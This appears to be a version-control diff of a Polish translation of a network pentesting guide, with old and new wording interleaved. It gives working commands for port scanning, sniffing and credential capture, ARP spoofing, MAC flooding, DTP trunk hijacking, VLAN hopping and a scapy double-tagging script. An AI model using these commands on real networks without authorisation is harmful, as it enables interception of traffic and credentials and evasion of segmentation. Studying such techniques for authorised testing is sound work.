W takim przypadku potrzebujesz **szybkiego skanera portów** ([masscan](https://github.com/robertdavidgraham/masscan)) oraz listy **najczęściej używanych portów:**
|
||||
Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyne, co możesz zrobić, aby sprawdzić, czy host jest aktywny, to **spróbować znaleźć otwarte porty**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, zajmie to zbyt dużo czasu.\
|
||||
W takim razie potrzebujesz **szybkiego skanera portów** ([masscan](https://github.com/robertdavidgraham/masscan)) i listy **najczęściej używanych portów:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
### Odkrywanie portów HTTP
|
||||
Możesz również wykonać ten krok za pomocą `nmap`, ale jest to wolniejsze i `nmap` ma problemy z identyfikowaniem aktywnych hostów.
|
||||
|
||||
Jest to po prostu odkrywanie portów TCP przydatne, gdy chcesz **skupić się na odkrywaniu usług HTTP**:
|
||||
### Odkrywanie portu HTTP
|
||||
|
||||
To jest po prostu odkrywanie portów TCP, przydatne, gdy chcesz **skupić się na odkrywaniu usług HTTP**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### Odkrywanie portów UDP
|
||||
|
||||
Możesz również spróbować sprawdzić, czy **jest otwarty port UDP**, aby zdecydować, czy powinieneś **zwrócić większą uwagę** na **hosta.** Ponieważ usługi UDP zazwyczaj **nie odpowiadają** **żadnymi danymi** na zwykły pusty pakiet sondy UDP, trudno powiedzieć, czy port jest filtrowany czy otwarty. Najprostszym sposobem na podjęcie decyzji jest wysłanie pakietu związane z działającą usługą, a ponieważ nie wiesz, która usługa jest uruchomiona, powinieneś spróbować najbardziej prawdopodobnej na podstawie numeru portu:
|
||||
Możesz również spróbować sprawdzić, czy jakiś **port UDP jest otwarty**, aby zdecydować, czy powinieneś **zwrócić większą uwagę** na **hosta.** Ponieważ usługi UDP zazwyczaj **nie odpowiadają** **żadnymi danymi** na standardowy pusty pakiet probe UDP, trudno jest stwierdzić, czy port jest filtrowany, czy otwarty. Najłatwiejszym sposobem na podjęcie decyzji jest wysłanie pakietu związanego z działającą usługą, a ponieważ nie wiesz, która usługa działa, powinieneś spróbować najbardziej prawdopodobnych na podstawie numeru portu:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
Linia nmap zaproponowana wcześniej przetestuje **top 1000 portów UDP** w każdym hoście w zakresie **/24**, ale nawet to zajmie **>20 minut**. Jeśli potrzebujesz **szybkich wyników**, możesz użyć [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` To wyśle te **sondy UDP** do ich **oczekiwanych portów** (dla zakresu /24 zajmie to tylko 1 minutę): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
Linia nmap zaproponowana wcześniej przetestuje **najlepsze 1000 portów UDP** w każdym hoście w zakresie **/24**, ale nawet to zajmie **>20min**. Jeśli potrzebujesz **najszybszych wyników**, możesz użyć [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` To wyśle te **proby UDP** do ich **oczekiwanego portu** (dla zakresu /24 zajmie to tylko 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### Odkrywanie portów SCTP
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not trying?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
## Testowanie penetracyjne Wifi
|
||||
## Pentesting Wifi
|
||||
|
||||
Tutaj znajdziesz ładny przewodnik po wszystkich dobrze znanych atakach na Wifi w czasie pisania:
|
||||
Tutaj znajdziesz ładny przewodnik po wszystkich znanych atakach Wifi w momencie pisania:
|
||||
|
||||
{% content-ref url="../pentesting-wifi/" %}
|
||||
[pentesting-wifi](../pentesting-wifi/)
|
||||
|
@ -73,11 +76,11 @@ Tutaj znajdziesz ładny przewodnik po wszystkich dobrze znanych atakach na Wifi
|
|||
|
||||
## Odkrywanie hostów od wewnątrz
|
||||
|
||||
Jeśli jesteś wewnątrz sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest **odkrycie innych hostów**. W zależności od **tego, jak wiele hałasu** możesz/chcesz zrobić, można wykonać różne działania:
|
||||
Jeśli jesteś wewnątrz sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest **odkrycie innych hostów**. W zależności od **tego, ile hałasu** możesz/chcesz zrobić, można wykonać różne działania:
|
||||
|
||||
### Pasywny
|
||||
### Pasywne
|
||||
|
||||
Możesz użyć tych narzędzi do pasywnego odkrywania hostów w połączonej sieci:
|
||||
Możesz użyć tych narzędzi do pasywnego odkrywania hostów w podłączonej sieci:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
|
@ -88,8 +91,8 @@ set net.show.meta true #more info
|
|||
```
|
||||
### Aktywne
|
||||
|
||||
Zauważ, że techniki omówione w [_**Odkrywanie hostów z zewnątrz**_](./#discovering-hosts-from-the-outside) (_Odkrywanie portów TCP/HTTP/UDP/SCTP_) mogą być również **zastosowane tutaj**.\
|
||||
Jednak, ponieważ znajdujesz się w **tym samym sieci**, co inne hosty, możesz zrobić **więcej rzeczy**:
|
||||
Zauważ, że techniki omówione w [_**Odkrywaniu hostów z zewnątrz**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) mogą być również **zastosowane tutaj**.\
|
||||
Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić **więcej rzeczy**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
|
@ -109,35 +112,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
|
|||
#IPv6
|
||||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Aktywne ICMP
|
||||
### Active ICMP
|
||||
|
||||
Zauważ, że techniki omówione w _Odkrywanie hostów z zewnątrz_ ([_**ICMP**_](./#icmp)) mogą być również **stosowane tutaj**.\
|
||||
Jednak, ponieważ jesteś w **takiej samej sieci** jak inne hosty, możesz zrobić **więcej rzeczy**:
|
||||
Zauważ, że techniki omówione w _Odkrywaniu hostów z zewnątrz_ ([_**ICMP**_](./#icmp)) mogą być również **zastosowane tutaj**.\
|
||||
Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić **więcej rzeczy**:
|
||||
|
||||
* Jeśli **pingujesz** **adres rozgłoszeniowy podsieci**, ping powinien dotrzeć do **każdego hosta** i mogą oni **odpowiedzieć** do **Ciebie**: `ping -b 10.10.5.255`
|
||||
* Pingując **adres rozgłoszeniowy sieci**, możesz nawet znaleźć hosty wewnątrz **innych podsieci**: `ping -b 255.255.255.255`
|
||||
* Użyj flag `-PE`, `-PP`, `-PM` narzędzia `nmap` do przeprowadzenia odkrywania hostów wysyłając odpowiednio żądania **ICMPv4 echo**, **znacznik czasu** i **maskę podsieci:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
* Jeśli **pingujesz** **adres rozgłoszeniowy podsieci**, ping powinien dotrzeć do **każdego hosta** i mogą oni **odpowiedzieć** **tobie**: `ping -b 10.10.5.255`
|
||||
* Pingując **adres rozgłoszeniowy sieci**, możesz nawet znaleźć hosty w **innych podsieciach**: `ping -b 255.255.255.255`
|
||||
* Użyj flag `-PE`, `-PP`, `-PM` w `nmap`, aby przeprowadzić odkrywanie hostów, wysyłając odpowiednio **żądania ICMPv4 echo**, **znacznika czasu** i **maski podsieci:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Budzenie przez sieć (Wake On Lan)**
|
||||
### **Wake On Lan**
|
||||
|
||||
Budzenie przez sieć (Wake On Lan) służy do **włączania** komputerów za pomocą **wiadomości sieciowej**. Pakiet magiczny używany do włączenia komputera to po prostu pakiet, w którym podany jest **MAC Dst**, a następnie jest **powtarzany 16 razy** w tym samym pakiecie.\
|
||||
Następnie tego rodzaju pakiety są zazwyczaj wysyłane w ramce **ethernet 0x0842** lub w pakiecie **UDP na port 9**.\
|
||||
Jeśli nie jest podany **żaden \[MAC]**, pakiet jest wysyłany do **rozgłoszeniowego ethernetu** (a rozgłoszeniowy MAC będzie powtarzany).
|
||||
Wake On Lan jest używane do **włączania** komputerów za pomocą **wiadomości sieciowej**. Magiczny pakiet używany do włączenia komputera to tylko pakiet, w którym podany jest **MAC Dst**, a następnie jest **powtarzany 16 razy** w tym samym pakiecie.\
|
||||
Takie pakiety są zazwyczaj wysyłane w **ethernet 0x0842** lub w **pakiecie UDP na port 9**.\
|
||||
Jeśli **żaden \[MAC]** nie jest podany, pakiet jest wysyłany do **rozgłoszenia ethernet** (a rozgłoszeniowy MAC będzie tym, który jest powtarzany).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
## Skanowanie hostów
|
||||
## Skanning hostów
|
||||
|
||||
Po odkryciu wszystkich adresów IP (zewnętrznych lub wewnętrznych), które chcesz dokładnie zeskanować, można wykonać różne działania.
|
||||
Gdy odkryjesz wszystkie IP (zewnętrzne lub wewnętrzne), które chcesz dokładnie zeskanować, można wykonać różne działania.
|
||||
|
||||
### TCP
|
||||
|
||||
* **Otwarty** port: _SYN --> SYN/ACK --> RST_
|
||||
* **Zamknięty** port: _SYN --> RST/ACK_
|
||||
* **Filtrowany** port: _SYN --> \[BRAK ODPOWIEDZI]_
|
||||
* **Filtrowany** port: _SYN --> Wiadomość ICMP_
|
||||
* **Filtrowany** port: _SYN --> komunikat ICMP_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
|
@ -153,10 +156,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
|||
|
||||
Istnieją 2 opcje skanowania portu UDP:
|
||||
|
||||
* Wyślij **pakiet UDP** i sprawdź odpowiedź _**ICMP unreachable**_, jeśli port jest **zamknięty** (w wielu przypadkach ICMP będzie **filtrowany**, więc nie otrzymasz żadnych informacji, czy port jest zamknięty czy otwarty).
|
||||
* Wyślij **sformatowane datagramy**, aby wywołać odpowiedź z **usługi** (np. DNS, DHCP, TFTP i inne, jak wymienione w _nmap-payloads_). Jeśli otrzymasz **odpowiedź**, to port jest **otwarty**.
|
||||
* Wyślij **pakiet UDP** i sprawdź odpowiedź _**ICMP unreachable**_, jeśli port jest **zamknięty** (w wielu przypadkach ICMP będzie **filtrowany**, więc nie otrzymasz żadnych informacji, czy port jest zamknięty, czy otwarty).
|
||||
* Wyślij **sformatowane datagramy**, aby wywołać odpowiedź od **usługi** (np. DNS, DHCP, TFTP i inne, jak wymieniono w _nmap-payloads_). Jeśli otrzymasz **odpowiedź**, to port jest **otwarty**.
|
||||
|
||||
**Nmap** będzie **łączył obie** opcje, używając "-sV" (skany UDP są bardzo wolne), ale zauważ, że skany UDP są wolniejsze niż skany TCP:
|
||||
**Nmap** będzie **mieszał obie** opcje, używając "-sV" (skanowanie UDP jest bardzo wolne), ale zauważ, że skanowanie UDP jest wolniejsze niż skanowanie TCP:
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
|
@ -168,20 +171,20 @@ nmap -sU -sV -sC -n -F -T4 <IP>
|
|||
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
# You could use nmap to test all the UDP ports, but that will take a lot of time
|
||||
```
|
||||
### Skanowanie SCTP
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Protokół transmisji sterowanej strumieniem)** został zaprojektowany do użytku obok **TCP (Protokół sterowania transmisją)** i **UDP (Protokół datagramów użytkownika)**. Jego głównym celem jest ułatwienie transportu danych telefonicznych w sieciach IP, odzwierciedlając wiele cech niezawodności znalezionych w **Systemie sygnalizacyjnym 7 (SS7)**. **SCTP** jest podstawowym składnikiem rodziny protokołów **SIGTRAN**, które mają na celu transport sygnałów SS7 w sieciach IP.
|
||||
**SCTP (Stream Control Transmission Protocol)** jest zaprojektowany do użycia obok **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Jego głównym celem jest ułatwienie transportu danych telekomunikacyjnych przez sieci IP, odzwierciedlając wiele funkcji niezawodnościowych występujących w **Signaling System 7 (SS7)**. **SCTP** jest kluczowym składnikiem rodziny protokołów **SIGTRAN**, która ma na celu transport sygnałów SS7 przez sieci IP.
|
||||
|
||||
Wsparcie dla **SCTP** jest dostarczane przez różne systemy operacyjne, takie jak **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** i **VxWorks**, co wskazuje na jego szerokie akceptowanie i użyteczność w dziedzinie telekomunikacji i sieci.
|
||||
Wsparcie dla **SCTP** jest zapewniane przez różne systemy operacyjne, takie jak **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** i **VxWorks**, co wskazuje na jego szeroką akceptację i użyteczność w dziedzinie telekomunikacji i sieci.
|
||||
|
||||
Nmap oferuje dwa różne skany dla SCTP: _-sY_ i _-sZ_
|
||||
Dwa różne skany dla SCTP są oferowane przez nmap: _-sY_ i _-sZ_
|
||||
```bash
|
||||
# Nmap fast SCTP scan
|
||||
nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||||
# Nmap all SCTP scan
|
||||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||||
```
|
||||
### Unikanie wykrycia przez IDS i IPS
|
||||
### IDS i IPS omijanie
|
||||
|
||||
{% content-ref url="ids-evasion.md" %}
|
||||
[ids-evasion.md](ids-evasion.md)
|
||||
|
@ -195,7 +198,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
|||
|
||||
### Ujawnianie wewnętrznych adresów IP
|
||||
|
||||
**Źle skonfigurowane routery, firewalle i urządzenia sieciowe** czasami odpowiadają na sondy sieciowe, używając **niepublicznych adresów źródłowych**. **tcpdump** może być wykorzystany do identyfikacji pakietów otrzymywanych z adresów prywatnych podczas testowania. W szczególności, na Kali Linux, pakiety mogą być przechwytywane na interfejsie **eth2**, który jest dostępny z publicznego Internetu. Warto zauważyć, że jeśli twoje środowisko jest za NAT-em lub Firewallem, takie pakiety prawdopodobnie zostaną odfiltrowane.
|
||||
**Źle skonfigurowane routery, zapory ogniowe i urządzenia sieciowe** czasami odpowiadają na próby sieciowe, używając **adresów źródłowych niepublicznych**. **tcpdump** może być wykorzystany do identyfikacji pakietów otrzymanych z prywatnych adresów podczas testowania. Konkretnie, na Kali Linux, pakiety mogą być przechwytywane na **interfejsie eth2**, który jest dostępny z publicznego Internetu. Ważne jest, aby zauważyć, że jeśli twoja konfiguracja znajduje się za NAT lub zaporą ogniową, takie pakiety prawdopodobnie będą filtrowane.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
|
@ -203,11 +206,11 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
|
|||
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
|
||||
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Podsłuchiwanie
|
||||
## Sniffing
|
||||
|
||||
Podczas podsłuchiwania możesz dowiedzieć się szczegółów dotyczących zakresów adresów IP, rozmiarów podsieci, adresów MAC i nazw hostów, przeglądając przechwycone ramki i pakiety. Jeśli sieć jest źle skonfigurowana lub tkanina przełączająca jest obciążona, atakujący mogą przechwycić poufne materiały poprzez pasywne podsłuchiwanie sieci.
|
||||
Sniffing możesz dowiedzieć się szczegółów dotyczących zakresów IP, rozmiarów podsieci, adresów MAC i nazw hostów, przeglądając przechwycone ramki i pakiety. Jeśli sieć jest źle skonfigurowana lub fabric przełączania jest obciążona, napastnicy mogą przechwycić wrażliwe materiały za pomocą pasywnego sniffingu sieciowego.
|
||||
|
||||
Jeśli przełączona sieć Ethernet jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiał przeznaczony dla Twojego adresu MAC.
|
||||
Jeśli sieć Ethernet z przełącznikiem jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiały przeznaczone dla twojego adresu MAC.
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
|
@ -215,7 +218,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
|||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
Można również przechwytywać pakiety z zdalnej maszyny podczas sesji SSH za pomocą Wireshark jako interfejsu GUI w czasie rzeczywistym.
|
||||
Można również przechwytywać pakiety z zdalnej maszyny przez sesję SSH z Wireshark jako interfejsem graficznym w czasie rzeczywistym.
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
|
@ -233,15 +236,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
|||
|
||||
Oczywiście.
|
||||
|
||||
### Przechwytywanie poświadczeń
|
||||
### Capturing credentials
|
||||
|
||||
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) do analizy poświadczeń z pliku pcap lub interfejsu na żywo.
|
||||
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), aby analizować dane uwierzytelniające z pliku pcap lub z aktywnego interfejsu.
|
||||
|
||||
## Ataki LAN
|
||||
## LAN attacks
|
||||
|
||||
### ARP spoofing
|
||||
|
||||
ARP Spoofing polega na wysyłaniu fałszywych odpowiedzi ARP w celu wskazania, że IP maszyny ma MAC naszego urządzenia. Następnie ofiara zmieni tabelę ARP i będzie kontaktować się z naszym urządzeniem za każdym razem, gdy chce skontaktować się z podszywanym adresem IP.
|
||||
ARP Spoofing polega na wysyłaniu niepotrzebnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z IP, które zostało sfałszowane.
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
|
@ -257,9 +260,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
arpspoof -t 192.168.1.1 192.168.1.2
|
||||
arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### Zatapianie MAC - przepełnienie CAM
|
||||
### MAC Flooding - CAM overflow
|
||||
|
||||
Przepełnij tabelę CAM przełącznika, wysyłając wiele pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak koncentrator (rozsyłając cały ruch).
|
||||
Przepełnienie tabeli CAM przełącznika, wysyłając wiele pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak hub (broadcastując cały ruch).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
|
@ -269,13 +272,13 @@ W nowoczesnych przełącznikach ta podatność została naprawiona.
|
|||
|
||||
#### Dynamiczne Trunkowanie
|
||||
|
||||
Protokół **Dynamic Trunking Protocol (DTP)** został zaprojektowany jako protokół warstwy łącza umożliwiający automatyczny system trunkowania, pozwalając przełącznikom automatycznie wybierać porty w trybie trunk (Trunk) lub nie-trunk. Wdrożenie **DTP** jest często postrzegane jako wskazanie na suboptymalny projekt sieci, podkreślając konieczność ręcznej konfiguracji trunków tylko tam, gdzie jest to konieczne, oraz zapewnienia odpowiedniej dokumentacji.
|
||||
**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkowania, pozwalając przełącznikom na automatyczny wybór portów do trybu trunk (Trunk) lub trybu nie-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie to konieczne, oraz zapewnienia odpowiedniej dokumentacji.
|
||||
|
||||
Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do rozpoczęcia trunkowania, jeśli zostaną do tego skłonione przez sąsiedni przełącznik. Problem związany z bezpieczeństwem pojawia się, gdy pentester lub atakujący podłącza się do przełącznika i wysyła ramkę DTP Desirable, zmuszając port do przejścia w tryb trunk. Ta czynność umożliwia atakującemu wyliczenie VLAN-ów poprzez analizę ramek STP oraz obejście segmentacji VLAN poprzez konfigurację interfejsów wirtualnych.
|
||||
Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do inicjowania trunkowania, jeśli zostaną o to poproszone przez sąsiedni przełącznik. Problem bezpieczeństwa pojawia się, gdy pentester lub atakujący łączy się z przełącznikiem i wysyła ramkę DTP Desirable, zmuszając port do przejścia w tryb trunk. Działanie to umożliwia atakującemu enumerację VLAN-ów poprzez analizę ramek STP i obejście segmentacji VLAN, tworząc wirtualne interfejsy.
|
||||
|
||||
Obecność DTP w wielu przełącznikach domyślnie może być wykorzystana przez przeciwników do naśladowania zachowania przełącznika, co umożliwia dostęp do ruchu we wszystkich VLAN-ach. Skrypt [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) jest wykorzystywany do monitorowania interfejsu, ujawniając, czy przełącznik jest w trybie domyślnym, trunk, dynamic, auto lub access—ten ostatni jest jedyną konfiguracją odporną na ataki VLAN hopping. Narzędzie to ocenia stan podatności przełącznika.
|
||||
Obecność DTP w wielu przełącznikach domyślnie może być wykorzystywana przez przeciwników do naśladowania zachowania przełącznika, co pozwala na dostęp do ruchu we wszystkich VLAN-ach. Skrypt [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) jest wykorzystywany do monitorowania interfejsu, ujawniając, czy przełącznik znajduje się w trybie Default, Trunk, Dynamic, Auto lub Access—ten ostatni jest jedyną konfiguracją odporną na ataki VLAN hopping. To narzędzie ocenia status podatności przełącznika.
|
||||
|
||||
Jeśli zidentyfikowano podatność sieciową, narzędzie _**Yersinia**_ może być wykorzystane do "włączenia trunkowania" za pomocą protokołu DTP, umożliwiając obserwację pakietów ze wszystkich VLAN-ów.
|
||||
Jeśli zostanie zidentyfikowana podatność sieci, narzędzie _**Yersinia**_ może być użyte do "włączenia trunkowania" za pomocą protokołu DTP, co pozwala na obserwację pakietów ze wszystkich VLAN-ów.
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
|
@ -288,20 +291,20 @@ yersinia -G #For graphic mode
|
|||
```
|
||||
![](<../../.gitbook/assets/image (269).png>)
|
||||
|
||||
Aby wyliczyć VLAN-y, można również wygenerować ramkę DTP Desirable za pomocą skryptu [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ie przerywaj skryptu pod żadnym pozorem. Wstrzykuje on ramki DTP Desirable co trzy sekundy. **Dynamicznie tworzone kanały trunkowe na przełączniku istnieją tylko przez pięć minut. Po upływie pięciu minut kanał trunkowy znika.**
|
||||
Aby enumerować VLAN-y, można również wygenerować ramkę DTP Desirable za pomocą skryptu [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ie przerywaj skryptu w żadnych okolicznościach. Wstrzykuje DTP Desirable co trzy sekundy. **Dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Chciałbym zwrócić uwagę, że **Dostępny/Żądany (0x03)** oznacza, że ramka DTP jest typu Żądany, co informuje port o przełączeniu się w tryb Trunk. Natomiast **802.1Q/802.1Q (0xa5)** wskazuje typ enkapsulacji **802.1Q**.
|
||||
Chciałbym zwrócić uwagę, że **Access/Desirable (0x03)** wskazuje, że ramka DTP jest typu Desirable, co nakazuje portowi przełączenie się w tryb Trunk. A **802.1Q/802.1Q (0xa5)** wskazuje typ enkapsulacji **802.1Q**.
|
||||
|
||||
Analizując ramki STP, **dowiedzieliśmy się o istnieniu VLAN 30 i VLAN 60**.
|
||||
Analizując ramki STP, **dowiadujemy się o istnieniu VLAN 30 i VLAN 60.**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Atakowanie konkretnych VLANów
|
||||
#### Atakowanie konkretnych VLAN-ów
|
||||
|
||||
Gdy znasz identyfikatory VLAN i wartości IP, możesz **skonfigurować wirtualny interfejs do ataku na określony VLAN**.\
|
||||
Jeśli DHCP nie jest dostępne, użyj _ifconfig_ do ustawienia statycznego adresu IP.
|
||||
Gdy znasz identyfikatory VLAN i wartości IP, możesz **skonfigurować interfejs wirtualny, aby zaatakować konkretny VLAN**.\
|
||||
Jeśli DHCP nie jest dostępne, użyj _ifconfig_, aby ustawić statyczny adres IP.
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
root@kali:~# vconfig add eth1 250
|
||||
|
@ -334,73 +337,75 @@ sudo vconfig add eth0 30
|
|||
sudo ip link set eth0.30 up
|
||||
sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatyczny skaczący VLAN
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
Omawiany atak **Dynamic Trunking i tworzenie wirtualnych interfejsów oraz odkrywanie hostów w innych** VLAN-ach jest **automatycznie wykonywany** przez narzędzie: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
Dyskusja na temat ataku **Dynamic Trunking i tworzenia wirtualnych interfejsów oraz odkrywania hostów wewnątrz** innych VLANów jest **automatycznie wykonywana** przez narzędzie: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Podwójne oznakowanie
|
||||
#### Double Tagging
|
||||
|
||||
Jeśli atakujący zna wartość **MAC, IP i ID VLAN ofiary**, może spróbować **podwójnie oznakować ramkę** z jej przeznaczonym VLAN-em i VLAN-em ofiary, a następnie wysłać pakiet. Ponieważ **ofiara nie będzie mogła się połączyć z powrotem** z atakującym, najlepszą opcją dla atakującego jest komunikacja za pomocą UDP z protokołami, które mogą wykonać pewne interesujące akcje (np. SNMP).
|
||||
Jeśli atakujący zna wartość **MAC, IP i VLAN ID ofiary**, może spróbować **podwójnie oznaczyć ramkę** jej przypisanym VLANem oraz VLANem ofiary i wysłać pakiet. Ponieważ **ofiara nie będzie mogła nawiązać połączenia z** atakującym, **najlepszą opcją dla atakującego jest komunikacja za pomocą UDP** do protokołów, które mogą wykonać interesujące akcje (jak SNMP).
|
||||
|
||||
Inną opcją dla atakującego jest uruchomienie **skanowania portów TCP podając jako źródło IP kontrolowane przez atakującego i dostępne dla ofiary** (prawdopodobnie przez internet). Następnie atakujący mógłby podsłuchiwać w drugim hostu należącym do niego, czy otrzymuje jakieś pakiety od ofiary.
|
||||
Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne przez ofiarę** (prawdopodobnie przez internet). Następnie atakujący mógłby sniffować na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary.
|
||||
|
||||
![](<../../.gitbook/assets/image (190).png>)
|
||||
|
||||
Aby przeprowadzić ten atak, można użyć narzędzia scapy: `pip install scapy`
|
||||
Aby przeprowadzić ten atak, możesz użyć scapy: `pip install scapy`
|
||||
```python
|
||||
from scapy.all import *
|
||||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||||
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
|
||||
sendp(packet)
|
||||
```
|
||||
#### Ominięcie Segmentacji VLAN Lateralna <a href="#d679" id="d679"></a>
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
